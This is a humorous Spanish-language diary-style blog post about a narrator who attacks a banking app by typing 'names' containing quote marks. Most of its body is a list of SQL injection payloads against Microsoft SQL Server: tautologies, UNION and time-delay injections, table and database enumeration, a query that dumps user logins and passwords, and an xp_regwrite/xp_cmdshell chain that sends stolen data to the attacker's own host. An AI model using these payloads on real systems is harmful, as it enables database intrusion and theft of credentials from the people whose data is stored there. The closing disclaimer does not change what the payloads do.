Sábado, 7 de Octubre de 2017: vacaciones forza… todas pagadas.

Querido diario…

Te escribo desde un aeropuerto, ¿dónde?, no te lo puedo decir; ¿esperando que vuelo?, es algo que tampoco te puedo decir.

Bueno… ser buena persona no es precisamente mi mejor talento…

A veces uno no puede resistir las ganas de meter una comilla por todos lados, suena muy guarro, pero es como cuando tienes 15 años y de pronto cuando se apagan las luces dices “¡ay!… se me fue”… bueno, pues así es cuando uno anda usando aplicaciones, de pronto uno quiere comprar calzoncillos y zas “se me fue una comilla” 😛

Bueno, seguramente también recordarán que recibieron una cachetada y probablemente llegó el papá de la ente feminoide con una escopeta… bueno, pues aquí llegaron unos policías, con un juez y me dieron unos tehuacanazos con pocito.

Y es que.. querido diario.. psss… sé qué suena complejo de creer, pero mira.. yo pues nada más le puse una comilla a un nombre, ¿yo cómo iba a saber que eso iba a estar dentro de una variable?, pues si, estaba dentro de una variable, y que un programador no validó bien la variable y entonces cuando yo intentaba sacar mi dinero pues… no podía. ¿Acaso tú no intentarías sacar tu dinero aunque no te deje la aplicación?.

Bueno… no sé, de pronto la comilla se convirtió en un ‘1 or 1=1– y cuando menos me di cuenta, pues…

'>">
' " ) # || + >
%09select 
tab%09
carriage return%13
linefeed%10
space%32
and
or
update
insert
exec
' waitfor delay '0:0:10'--

¿Qué?, ¿tú no usas ese tipo de nombres en tus cuentas bancarias?… pero si son de lo más comunes. De hecho conozco otros…

' group by [columneishons] having 1=1 - -
' union select 1,1,'cosa',1,1,1 - -
' union select 1,1, 99999999999999999,1,1,1 - -
' and 1 in (select 'cosa' ) - -
' and where cosa='cosa' and '1'='1
'; if where cosa='cosa' waitfor delay '0:0:5' --
'; union select if( where cosa='cosa' , benchmark (100000, sha1('cosa')), 'false' ),1,1,1,1;

… y pues bueno, allí estaba yo, metiendo nombres y más nombres a mis cuentas bancarias… y de pronto como que me di cuenta de que la aplicación me arrojaba algo como que users table, cosas tables y pues no sé, quería ver que tables eran esas tables.

SELECT cosa FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tabla')
sp_columns tablename

Luego de la tabla, te das cuenta que hay otras bases de datos…

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

Y entonces dices “ahhh pues de aquí soy”, y quieres ver si puedes sacar unos usuarios y contraseñas

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --

Pero no, no corrí con tanta suerte… ese tipo de errores ya no se dan tan fácil, lo que eso si…

'; create table AttackerTable (data cosa) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW')
'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvendetta -..quesadilla!!' --

Y lo sé.. me pasé.. acto seguido.. estoy aquí, arriba de un avión. Tal vez es un buen momento para escribir algo como:

Toda la información contenida en este diario es ficticia y mero entretenimiento, y/o para fines educativos. El autor no se hace responsable de actos delictivos del mal uso de esta información.

Querido diario… ¿sabías que Timbuktú de verdad existe?.